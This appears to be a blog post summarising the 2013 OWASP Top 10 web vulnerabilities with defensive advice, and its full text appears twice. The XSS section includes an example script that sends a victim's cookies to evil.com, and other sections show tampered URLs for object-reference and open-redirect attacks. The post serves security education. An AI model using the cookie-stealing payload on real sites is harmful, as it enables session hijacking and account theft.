Top 10 web security vulnerabilities by OWASP(Open Web Application Security Projects) last released in 2013 in my words
A1 - Injection
Threat Agents: Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
Exploitability: (Easy) Injection some time lead complete host takover
Reason:
Dynamic inline queries
Some time failed queries with errors got displayed on users screen. hacker prepare work around by using that
Protection:
Use safe APIs (Application program interface)
Use parameterized APIs
Restrict untrusted data using
-encoding
-White list of characters
-Use strong server side validation
A2 - Broken Authentication and Session Management
Threat Agents: Consider anonymous external attackers, as well as users with their own accounts, who may attempt to steal accounts from others. Also consider insiders wanting to disguise their actions.
Exploitability: (Average) Attacker uses leaks or flaws in the authentication or session management functions (e.g., exposed accounts, passwords, session IDs) to impersonate users.
Reasons:
Storing user credentials without hashing or encrypting them: User / password can be traced using tools like fiddler
Easily guessed passwords: Easy passwords can be guessed
Poorly secured password change features: Password could be steal, How much we can trust on email, Sending password to email not right way
Poorly secured password recovery features: Easy security questions not enough, like DOB, mothers maiden name
Session IDs exposed in a URL: If your application exposes session id in url, easily hacker fixate session. A hacker will mail you similar link to your site with a id www.xyz.com?SID=jvsnfhi8e94. when you click the link and login, hacker will use same link and browse inside system.
Session IDs don’t reasonably time-out or sessions aren’t properly invalidated during logout: If a user leave or just close the browser on a public machine (cafe)
Same links can be opened by others(from history) and he can do anything with previous logged in user's account
Session IDs aren’t rotated after a successful login:
Passwords, session IDs, and other credentials are sent over unencrypted connections: Tools like fiddler can trace & show Passwords, session IDs, and other credentials
Browser caching is enabled: A hacker can use cached credentials
Protection:
Storing user credentials without hashing or encrypting them: Use hashing/encryption with salt
Easily guessed passwords: Enforce password policy like one capital letter, one small letter, one number, one character 8-16 length
Poorly secured password change features: Don't send old password to user, send one time link to change password
Poorly secured password recovery features: use security question/otp while changing password
Session IDs exposed in a URL: Session id must be generated from server only, don't expose session id in url, use cookies
Session IDs don’t reasonably time-out or sessions aren’t properly invalidated during logout: Destroy & regenerate session after a fix period of time. Destroy session on logout.
Session IDs aren’t rotated after a successful login: Always generate new session id on login
Passwords, session IDs, and other credentials are sent over unencrypted connections: Use secure connection, encrypted / signed data transmission, use https
Browser caching is enabled: Disable caching on browser
Note: Even cookies can be hacked so most secure way is to create new session id on each request and send to client
A3 - XSS Cross Site Scripting
Threat Agents: Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
Exploitability: (Average) Any source of data can be an attack vector, external user input or internal database data(infected data)
Protection:
Use encoding or sanitization before execution data on browser even from database
The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL)
Use white list of characters
Use CSP (Content Security Policy) : Defined by W3C, that defines loading behaviour of various resources in HTTP Response header
Set correct content type
Set safe character set (UTF-8)
Set correct locale
Output encode all user data as per output context
Set input constraints
www.xyz.com?Fname='megha'
Place the script in place of name 'megha'
<script>
window.location=“http://evil.com/?cookie=” + document.cookie
</script>
When this Fname will be executed on browser this will redirect to evil.com server and with cookie information of vulnerable site, now hacker can also use session
and other info from cookie
A4 - Unsecure Direct Object References
Threat Agents: Consider anyone who can access system object(s), including external users & internal users.
Exploitability: (Easy)
This type of attack is possible when a file name, resource name, any id, database key is exposed in url. A hacker can manipulate the id to access other objects
for those he is not authorized.
Detection:
Testing - Testers can easily manipulate ids and check vulnerability
Code review
A 2010 security breach that leaked the email addresses of over 114,000 Apple users including politicians and CEOs was the result of an unsecure direct object reference in system of AT&T.
Protection:
Encrypt urls
Authorize internal/external user(s) before giving access on any object
OWASP's ESAPI library includes reference maps for developers to ease the implementation
A5 - Security Misconfiguration
Threat Agents: Anyone who can access application network, regular users.
New generation application has increased surface area like web, app, DB servers, SAN storage, firewalls so chances of security whole also increased.
Its good that new generation applications comes with all security implementation but it require configuration of inbuilt security features.
Exploitability: (Easy)
This kind of flaws refers to production ready applications. It refers insufficient or non configured inbuilt security features and left security wholes like
unused files, pages, default accounts, firewall configuration, services configuration.
Sometime we missed to secure unused pages because they are unused, a hacker can enter from this whole like url encryption not implemented for unused page(s).
Sometime we missed to close or changing password for default account, a hacker can enter from this whole
Protection:
Read security documentation and configure inbuilt security features of application like (Configure DOS prevention attack in IIS)
Change password for default account
Disable unused unnecessary features
Prevent displaying stack traces to user
Run tools (like automated scanner) and perform regular audits to identify holes in the security configuration
A6 - Sensitive Data Exposure
Threat Agents: Consider anyone who can access the system, including external users, internal users.
Data that have strong effects if stolen on image of your organisation and application is sensitive like Credit card information, user credential, Tax id etc.
Exploitability: (Difficult) This is difficult to hack but hackers are highly motivated to it because of its potential payouts. This could lead serious crime like bank account hacking.
Protection: Encryption with salt is the way of protection
Sensitive data should be salted & encrypted when on users browser
Sensitive data should be salted & encrypted when during transportation
Sensitive data should be salted & encrypted when even in database
Disable caching for pages dealing with sensitive data
Use TSL/SSL for secure transportation
Prevent XSS
A7 - Missing Function Level Access Control
Threat Agents: Consider anyone who can access the system, including external users, internal users.
Exploitability: (Easy) An user can access resource(s) on those he is not having access
Mukesh access his private diary using link www.mydiary.com?uname=mukesh, now mukesh can manipulate link and access megha's personnel diary
like www.mydiary.com?uname=megha
Protection:
Make structure like give any resource(resources/functions/pages) access to user who required only not to others
Make access denied to all resources(resources/functions/pages), then make white list of authorized system users with mapped to resources, now on every request to any resource check with list whether requester have or not access on requested resource.
Implement role based Authorization
Implement server side Authorization
A8 - Cross Site Request Forgery (CSRF)
A malicious site sends request to vulnerable site to access a page or perform some action where user is logged in.
Threat Agent: Any one who can load data into your user's browser
Exploitability: (Average) Attacker creates forged HTTP requests and tricks a victim into submitting them via image tags, XSS, or numerous other techniques. If the user is authenticated, the attack succeeds
Protection:
Send token with every request and validate token before serving the request at server side.
ASP.net apps :
Prevent XSS
Asp.net web forms:
ViewStateUserKey = Session.SessionID then viewstate will act as a form token
Protect SessionID using Hashing and Encryption
Use SSL to prevent sniffing of SessionID and ViewState
Either create a BasePage and add the following code in that and check ViewState for forms and inherit all the pages from this base page.
protected override OnInit(EventArgs e) {
base.OnInit(e);
if (User.Identity.IsAuthenticated)
ViewStateUserKey = Session.SessionID; }
MVC:
Use AntiForgeryTokens
Use SSL to prevent sniffing of AntiForgeryTokens
Mark action with attributes [HttpPost] & [ValidateAntiForgeryToken()]
Send '_ReuestVerificationToken' with ajax calls
@using (Html.BeginForm())
{
@Html.AntiForgeryToken();
<fieldset>
Select a file <input type="file" name="file" />
<input type="submit" value="Upload" />
</fieldset>
}
A9 - Using Components with Known Vulnerabilities
Threat Agent: Third party components
In today's world every one is using third party component (including open source libraries) in their projects. No doubt using external components add values in terms of time and efforts. But external components may open door for security breach.
Exploitability: (Average) Attacker identifies a weak component through scanning or manual analysis and customize the attack.
Reasons:
Using external components having vulnerabilities
Using open source components
Open source components are managed by volunteers not companies
Many of the open source components have 20 year old code
Most of the providers are quick to inform users but lack of awareness in users leads the issues
Due lack to awareness users not accept released updates and fixes
Protection:
Take time to analyse component that you are considering by reading provided document, read forums, read feedback of the product
Be aware about updates from providers
Accept updates and fixes sent by provider
Sand boxing is the solution for unknown vulnerabilities in an external component:
Make your won wrapper library
Mark your library 'SecurityTransparent' so this will not be able to access 'SecurityCritical' code
Call external component in your library
Assign only required access to your library
Run the library in your own app domain with limited required permissions
A10 - Unvalidated Redirects and Forwards
Threat Agent: Application users, other websites & HTML feeds
Exploitability: (Average) Unvalidated Redirects and Forwards can lead to steal access to unauthorized resources, credentials etc.
A hacker can use Redirect or forwards implemented in your application to redirect logged in user to his(ex. www.ghost.com) site.
User can believe and can enter credentials because url also shows actual(user's site) site name
Ex. www.xyz.com?redirect=mysite.com
A hacker can manipulate it to steal data or , cookie or credentials www.xyz.com?redirect=ghost.com
Protection:
Don't use Redirects and forwards
If can't avoid do not determine destination by a user input
If can't avoid validate input and authorize for logged in user
Avoid external redirects or forwards
Use white list of destinations (pages)
Verify referrer links from white list
Disable unused redirects
A1 - Injection
Threat Agents: Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
Exploitability: (Easy) Injection some time lead complete host takover
Reason:
Dynamic inline queries
Some time failed queries with errors got displayed on users screen. hacker prepare work around by using that
Protection:
Use safe APIs (Application program interface)
Use parameterized APIs
Restrict untrusted data using
-encoding
-White list of characters
-Use strong server side validation
A2 - Broken Authentication and Session Management
Threat Agents: Consider anonymous external attackers, as well as users with their own accounts, who may attempt to steal accounts from others. Also consider insiders wanting to disguise their actions.
Exploitability: (Average) Attacker uses leaks or flaws in the authentication or session management functions (e.g., exposed accounts, passwords, session IDs) to impersonate users.
Reasons:
Storing user credentials without hashing or encrypting them: User / password can be traced using tools like fiddler
Easily guessed passwords: Easy passwords can be guessed
Poorly secured password change features: Password could be steal, How much we can trust on email, Sending password to email not right way
Poorly secured password recovery features: Easy security questions not enough, like DOB, mothers maiden name
Session IDs exposed in a URL: If your application exposes session id in url, easily hacker fixate session. A hacker will mail you similar link to your site with a id www.xyz.com?SID=jvsnfhi8e94. when you click the link and login, hacker will use same link and browse inside system.
Session IDs don’t reasonably time-out or sessions aren’t properly invalidated during logout: If a user leave or just close the browser on a public machine (cafe)
Same links can be opened by others(from history) and he can do anything with previous logged in user's account
Session IDs aren’t rotated after a successful login:
Passwords, session IDs, and other credentials are sent over unencrypted connections: Tools like fiddler can trace & show Passwords, session IDs, and other credentials
Browser caching is enabled: A hacker can use cached credentials
Protection:
Storing user credentials without hashing or encrypting them: Use hashing/encryption with salt
Easily guessed passwords: Enforce password policy like one capital letter, one small letter, one number, one character 8-16 length
Poorly secured password change features: Don't send old password to user, send one time link to change password
Poorly secured password recovery features: use security question/otp while changing password
Session IDs exposed in a URL: Session id must be generated from server only, don't expose session id in url, use cookies
Session IDs don’t reasonably time-out or sessions aren’t properly invalidated during logout: Destroy & regenerate session after a fix period of time. Destroy session on logout.
Session IDs aren’t rotated after a successful login: Always generate new session id on login
Passwords, session IDs, and other credentials are sent over unencrypted connections: Use secure connection, encrypted / signed data transmission, use https
Browser caching is enabled: Disable caching on browser
Note: Even cookies can be hacked so most secure way is to create new session id on each request and send to client
A3 - XSS Cross Site Scripting
Threat Agents: Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
Exploitability: (Average) Any source of data can be an attack vector, external user input or internal database data(infected data)
Protection:
Use encoding or sanitization before execution data on browser even from database
The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL)
Use white list of characters
Use CSP (Content Security Policy) : Defined by W3C, that defines loading behaviour of various resources in HTTP Response header
Set correct content type
Set safe character set (UTF-8)
Set correct locale
Output encode all user data as per output context
Set input constraints
www.xyz.com?Fname='megha'
Place the script in place of name 'megha'
<script>
window.location=“http://evil.com/?cookie=” + document.cookie
</script>
When this Fname will be executed on browser this will redirect to evil.com server and with cookie information of vulnerable site, now hacker can also use session
and other info from cookie
A4 - Unsecure Direct Object References
Threat Agents: Consider anyone who can access system object(s), including external users & internal users.
Exploitability: (Easy)
This type of attack is possible when a file name, resource name, any id, database key is exposed in url. A hacker can manipulate the id to access other objects
for those he is not authorized.
Detection:
Testing - Testers can easily manipulate ids and check vulnerability
Code review
A 2010 security breach that leaked the email addresses of over 114,000 Apple users including politicians and CEOs was the result of an unsecure direct object reference in system of AT&T.
Protection:
Encrypt urls
Authorize internal/external user(s) before giving access on any object
OWASP's ESAPI library includes reference maps for developers to ease the implementation
A5 - Security Misconfiguration
Threat Agents: Anyone who can access application network, regular users.
New generation application has increased surface area like web, app, DB servers, SAN storage, firewalls so chances of security whole also increased.
Its good that new generation applications comes with all security implementation but it require configuration of inbuilt security features.
Exploitability: (Easy)
This kind of flaws refers to production ready applications. It refers insufficient or non configured inbuilt security features and left security wholes like
unused files, pages, default accounts, firewall configuration, services configuration.
Sometime we missed to secure unused pages because they are unused, a hacker can enter from this whole like url encryption not implemented for unused page(s).
Sometime we missed to close or changing password for default account, a hacker can enter from this whole
Protection:
Read security documentation and configure inbuilt security features of application like (Configure DOS prevention attack in IIS)
Change password for default account
Disable unused unnecessary features
Prevent displaying stack traces to user
Run tools (like automated scanner) and perform regular audits to identify holes in the security configuration
A6 - Sensitive Data Exposure
Threat Agents: Consider anyone who can access the system, including external users, internal users.
Data that have strong effects if stolen on image of your organisation and application is sensitive like Credit card information, user credential, Tax id etc.
Exploitability: (Difficult) This is difficult to hack but hackers are highly motivated to it because of its potential payouts. This could lead serious crime like bank account hacking.
Protection: Encryption with salt is the way of protection
Sensitive data should be salted & encrypted when on users browser
Sensitive data should be salted & encrypted when during transportation
Sensitive data should be salted & encrypted when even in database
Disable caching for pages dealing with sensitive data
Use TSL/SSL for secure transportation
Prevent XSS
A7 - Missing Function Level Access Control
Threat Agents: Consider anyone who can access the system, including external users, internal users.
Exploitability: (Easy) An user can access resource(s) on those he is not having access
Mukesh access his private diary using link www.mydiary.com?uname=mukesh, now mukesh can manipulate link and access megha's personnel diary
like www.mydiary.com?uname=megha
Protection:
Make structure like give any resource(resources/functions/pages) access to user who required only not to others
Make access denied to all resources(resources/functions/pages), then make white list of authorized system users with mapped to resources, now on every request to any resource check with list whether requester have or not access on requested resource.
Implement role based Authorization
Implement server side Authorization
A8 - Cross Site Request Forgery (CSRF)
A malicious site sends request to vulnerable site to access a page or perform some action where user is logged in.
Threat Agent: Any one who can load data into your user's browser
Exploitability: (Average) Attacker creates forged HTTP requests and tricks a victim into submitting them via image tags, XSS, or numerous other techniques. If the user is authenticated, the attack succeeds
Protection:
Send token with every request and validate token before serving the request at server side.
ASP.net apps :
Prevent XSS
Asp.net web forms:
ViewStateUserKey = Session.SessionID then viewstate will act as a form token
Protect SessionID using Hashing and Encryption
Use SSL to prevent sniffing of SessionID and ViewState
Either create a BasePage and add the following code in that and check ViewState for forms and inherit all the pages from this base page.
protected override OnInit(EventArgs e) {
base.OnInit(e);
if (User.Identity.IsAuthenticated)
ViewStateUserKey = Session.SessionID; }
MVC:
Use AntiForgeryTokens
Use SSL to prevent sniffing of AntiForgeryTokens
Mark action with attributes [HttpPost] & [ValidateAntiForgeryToken()]
Send '_ReuestVerificationToken' with ajax calls
@using (Html.BeginForm())
{
@Html.AntiForgeryToken();
<fieldset>
Select a file <input type="file" name="file" />
<input type="submit" value="Upload" />
</fieldset>
}
A9 - Using Components with Known Vulnerabilities
Threat Agent: Third party components
In today's world every one is using third party component (including open source libraries) in their projects. No doubt using external components add values in terms of time and efforts. But external components may open door for security breach.
Exploitability: (Average) Attacker identifies a weak component through scanning or manual analysis and customize the attack.
Reasons:
Using external components having vulnerabilities
Using open source components
Open source components are managed by volunteers not companies
Many of the open source components have 20 year old code
Most of the providers are quick to inform users but lack of awareness in users leads the issues
Due lack to awareness users not accept released updates and fixes
Protection:
Take time to analyse component that you are considering by reading provided document, read forums, read feedback of the product
Be aware about updates from providers
Accept updates and fixes sent by provider
Sand boxing is the solution for unknown vulnerabilities in an external component:
Make your won wrapper library
Mark your library 'SecurityTransparent' so this will not be able to access 'SecurityCritical' code
Call external component in your library
Assign only required access to your library
Run the library in your own app domain with limited required permissions
A10 - Unvalidated Redirects and Forwards
Threat Agent: Application users, other websites & HTML feeds
Exploitability: (Average) Unvalidated Redirects and Forwards can lead to steal access to unauthorized resources, credentials etc.
A hacker can use Redirect or forwards implemented in your application to redirect logged in user to his(ex. www.ghost.com) site.
User can believe and can enter credentials because url also shows actual(user's site) site name
Ex. www.xyz.com?redirect=mysite.com
A hacker can manipulate it to steal data or , cookie or credentials www.xyz.com?redirect=ghost.com
Protection:
Don't use Redirects and forwards
If can't avoid do not determine destination by a user input
If can't avoid validate input and authorize for logged in user
Avoid external redirects or forwards
Use white list of destinations (pages)
Verify referrer links from white list
Disable unused redirects
No comments:
Post a Comment